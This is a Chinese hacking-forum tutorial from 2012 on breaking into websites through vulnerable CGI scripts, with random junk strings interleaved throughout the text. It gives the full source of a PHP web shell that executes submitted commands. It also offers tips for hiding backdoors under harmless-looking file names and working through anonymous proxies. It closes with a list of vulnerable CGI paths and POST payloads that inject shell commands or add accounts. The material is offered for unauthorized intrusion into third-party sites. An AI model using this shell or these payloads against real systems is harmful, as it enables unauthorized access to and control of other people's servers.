中国网络渗透测试联盟
标题:
CGI 脚本入侵快速上手+脚本使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:54
标题:
CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
% ` N- \* ]. M; C$ l
大家好 我是bboyhip 只是一名菜菜的exploiter
9 ~/ d1 v. I; k( [; P3 M
很开心来到贵论坛
4 o- U3 [- ]( e' [2 F
这里让我感觉 很有技术交流的感觉
( o, L6 G. r1 k2 s# [
我会长长来玩的
7 x2 H9 M+ v2 S6 t+ w
前言:
6 B) V( O% o; j1 r V
以下讲解针对欧美日本网站
! x& x& `; c, b
當我們在做滲透分析的時候 方法有很多
& M: E. y& b, ~- q1 z
我门都知道 国外伺服器大多是linux 平台
1 y# _" _1 h* F* w! _: v* W
所以有很多网站程序有6成都会使用cgi 脚本来管理
4 {3 ~& C' d. W- A L% p
目录为/cgi-bin/
3 h5 N& o( t( j
; T/ q( [* B$ @5 {: | R
只是个人在实务上一些经验
S4 \3 h3 _1 \, O6 s
写的不好 请多多见谅喔
( S: D5 c5 ^( ~6 u) ^$ G
在这里我简单分为几个部份一定要會的
) D; I2 L0 q+ O t
讲解一下
$ R5 m! F. c9 a( k
让没有基础的人很容易上手
; e8 d m& D, ]" k4 D
. Y" t7 `# R4 \$ L+ L) `3 \
以下内容跟帖回复才能看到
3 K* W8 M* Y- W& U
==============================
y! W( Q3 r6 z8 J+ @
$ }; V- B" M, K* P+ n+ k
第1部份: 何谓Shell?
& R; [; S$ b* A) Y$ k' i- K' i& R
Shell的中文, 可称为 "壳". Shell 是一个比较复杂的概念, 先看比较传统的解释:
1 ^' P% O" ?3 {) f5 I
A shell is the program which reads user input from the command line and executes actions based upon that input.
& Z. T1 @* ^2 v& I p
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
, @" u+ X1 `. O+ f3 l. a
- ~; n6 H h$ @) p% |" K
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.
8 F; i+ L( p8 W, x; n1 v0 V
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门. 大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多. 在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
% Y' T' @' \5 r$ r( Q
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
- z$ S3 N9 \9 e) j& @% @ X
* V7 P& {) a5 O
第2部份: Unix 指令
- F( l* o O* K) {# K
以下是一些常见及重要的指令:
& Q9 J/ |* v* u6 I) g% j) f5 T
pwd: 显示当前目录, 即是後门/程式所在的位置
. a g* d" q9 p M7 d. [6 V7 i
如 /home/www/site.com/cgi-bin/
5 o4 h0 v/ p- p/ E/ }- u
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).
; ^7 E2 d2 w$ K2 P
ls -al :详细列出档案资料(当前目录)
. p$ ~, i: K1 [( s* D
ls /: 列出根目录
$ J( u& b5 G! f# S& |+ k" ~1 C
ls /etc: 列出/etc的资料夹及档案
4 _ @1 J4 A3 d% m; g
ls ../ -al: 详细列出上一层的资料夹及档案
# I! X* q6 A. {2 Z
cat: 显示档案内容
) T% V+ q$ H E, j
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
# ^0 y5 B5 B# l: l8 N
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
- w* h1 W6 o- { E
who: 显示谁login 至系统
0 M/ U6 G6 W0 C( F
man: 显示指令用法
9 D: X5 w! B6 o
man ls: 显示ls这指令的用法
/ e3 @3 g! M# L% Q% @
mkdir 建立目录
- T3 ]1 k- Z4 a6 z; }" ~3 [7 [
rmdir 删除目录
9 ], {% K1 v$ K' q/ x
mv 移动档案
, L$ T/ T2 ^' t0 c, _* W
rm 删除档案
4 [; Z) r1 X% C# t
) B+ P) i/ q0 z4 w+ Q W) c$ S
第3部份: Shell的使用
3 o/ s: a6 |+ W5 H& [+ B9 y
例如:
1 Q7 i" o! `- I# e( o
http://site.com/refer.php
f- o# Z7 @( e
这是我的後门, 原代码如下:
0 P' D1 }6 P5 s
<Form Action="#" Method="POST">
, u, C: g! P& f; k) e9 u
<Input type="text" name="cmd">
) f$ J/ K; ]3 Y# [+ [+ U* Q
<Input type="Submit">
u0 H4 i+ M: [2 G0 N
</Form>
' j8 m0 E" b, Y9 I/ G$ A
<?php
) A7 ]2 a W! M7 m% l" `% ]
$cmd = $_POST['cmd'];
& F' F) a. D7 \' j2 g
$Output = shell_exec($cmd);
6 r, U @, n- c( R
echo $Output;
5 f9 [# ?9 y/ s/ x3 a% w
?>
8 q; A* {) u1 U9 @7 T6 ?4 Y
输入pwd, 可得到绝对路径:
' g2 g6 _3 L' q+ L
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
+ X/ C* q; Z" ]' i
7 @; S) b6 H' U9 N
第4部份: 注意事项
* K* O/ X! _, N6 H* f
- 使用匿名代理, 保障自己
! k/ k7 [5 M$ o! W5 @" o* z
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
1 X5 X' c+ i5 \, M
- 加後门前, 必须了解目标系统是否支援. 例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
& M* {, c2 A0 v" J* _. p$ O; A
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
6 m: p* ~) E% `0 P. N) ?
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
- N7 _1 d/ w1 y7 m& z; h
不容易被发现.
/ e4 ~; C2 _4 T& R& a. x1 t X$ L$ G. r
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
2 i! z Q$ M, }5 \6 j: M
针对网站的渗透分析方法太多了
- G6 F7 _6 [5 R& U& ~; A6 }, W1 e4 R
这篇文章的重点是cgi 脚本攻击
) D" b! K, k4 E
所以我用简单的叙述形容
, N7 Q* W/ n2 Q
开始讲解脚本入侵过程:
$ o( ? m& [5 p l5 }& L" h2 d
在这里提供一些方法思路让大家学习一下
( Z# W4 t$ R( c( l
# {. W! s; P# `4 o i
1.一开始对一个网站进行cgi漏洞扫描
; g2 ^, H. u5 E! J- v& j6 \: G
我们需要的东西有
9 L' D ?+ i9 Z2 `( Y6 B
扫洞工具 如:triton..等等
& o6 R i C+ G a# Z
E表
% U0 ~5 V3 k% z, |* x% t1 T
如
0 c* x" h/ u) c+ y: X) g! V2 H9 S
/cgi-bin/add-passwd.cgi
5 r2 Q( l9 M1 y8 T2 s ?, |3 Y5 R
/WebShop/templates/cc.txt
( a! J- N# c& e W* P+ E
/Admin_files/order.log
- Q/ Z" w5 m0 l8 s, r. z$ D: |
/orders/mountain.cfg
% A" C, O1 L. \4 W
/cgi-sys/cart.pl
! ~! r& N( {0 y* \% `) P
/scripts/cart.pl
1 f( o6 m0 y9 T o
/htbin/cart.pl
* D$ E. |0 D( H1 ^+ C* V. Z" Q
E表来源可以是网路收寻或是自己的0 day
- o r( | P4 ^+ u( A
8 G/ _/ i O+ d: M2 G6 f3 c1 `+ T
2.怎样确认扫到的洞 是真的还假的?
0 l+ D5 \3 A/ u! Q' E& R7 n
举例: target:
http://www.site.com/cgi-bin/add-passwd.cgi
3 I/ o9 x0 b9 ?# T: A3 s8 `
一般都是在IE里先看一下的,记住这个返回码哦
; m& q1 Q$ X8 i, t9 D$ W9 V% z% w
ERROR:This script should be referenced with a METHOD of POST.
/ {* P; E# { I
没有返回一定是假的
6 \5 z& M9 v0 W" z1 H
3.重来来了 很多人都会问我
( _+ `0 V% P3 o$ M+ r/ y: w
他扫到很多洞 但是不会使用
6 G$ {5 a$ L; K. k
因为这些漏洞 使用的语法 称为post
6 p; m* `) `# ~# x3 F2 q* a
我们要找post 的方法很多
1 P7 ~* b" V' X+ ?8 r7 l6 H2 K
可以是源代码分析 找出介质
" s' a* a4 N9 \9 d6 n& r! J8 }
或是用抓包工具 抓他的语法...等等
9 b5 B( [6 ^: n0 g8 O5 _
. Y4 a- l* m1 ?* [! K. O: P
以下我提供10个 cgi 洞以及使用方法post
" b* ]3 V) x, J3 S: z( D d! r3 \
让大家可以针对网站去做扫描
# K5 Z+ g# T! k2 X. x( V# e2 \
/index.cgi
" ?* s; l: f& [& Y
wei=ren&gen=command
4 `/ G% Q* O7 n- ^
/passmaster.cgi
, U+ \2 Y: E# L
Action=Add&Username=Username&Password=Password
3 z3 ^+ R$ g' @ l* i: `6 x* S& H
/accountcreate.cgi
O; T) f6 I1 |4 {
username=username&password=password&ref1=|echo;ls|
, k# u3 m7 H' {) P4 k# y
/form.cgi
0 `* Z! T' K7 g' E9 W
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
9 P! i' J+ z% B7 v2 |- D& |% o
/addusr.pl
) w2 _$ A: K. r1 x' M
/cgi-bin/EuroDebit/addusr.pl
6 D/ r8 w8 z8 t8 t
user=username&pass=Password&confirm=Password
% f" B1 @9 k9 ^
/ccbill-local.asp
7 u O2 R2 X) w, v b
post_values=username:password
6 L' B+ j( r1 T" {5 u
/count.cgi
/ _- R. a/ W3 P W
pinfile=|echo;ls -la;exit|
5 |8 b5 i' K/ C: g o4 e
/recon.cgi
! c) F. N1 {: m" d3 E. J8 l# L
/recon.cgi?search
& w# S+ I" R; i* G9 K
searchoption=1&searchfor=|echo;ls -al;exit|
) X# Z2 Z( }2 ~0 L
/verotelrum.pl
/ Z6 j) I: ^0 l* [+ Z& j
vercode=username:password:dseegsow:add:amount<&30>
) D8 }% |0 s" k1 I4 z
/af.cgi_browser_out=|echo;ls -la;exit;|
% p( s& Y0 h) a7 A
9 O! k; X! D. q$ U5 c
今天就讲到这 感谢大家支持
6 g) m5 G8 e& N7 I+ e
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2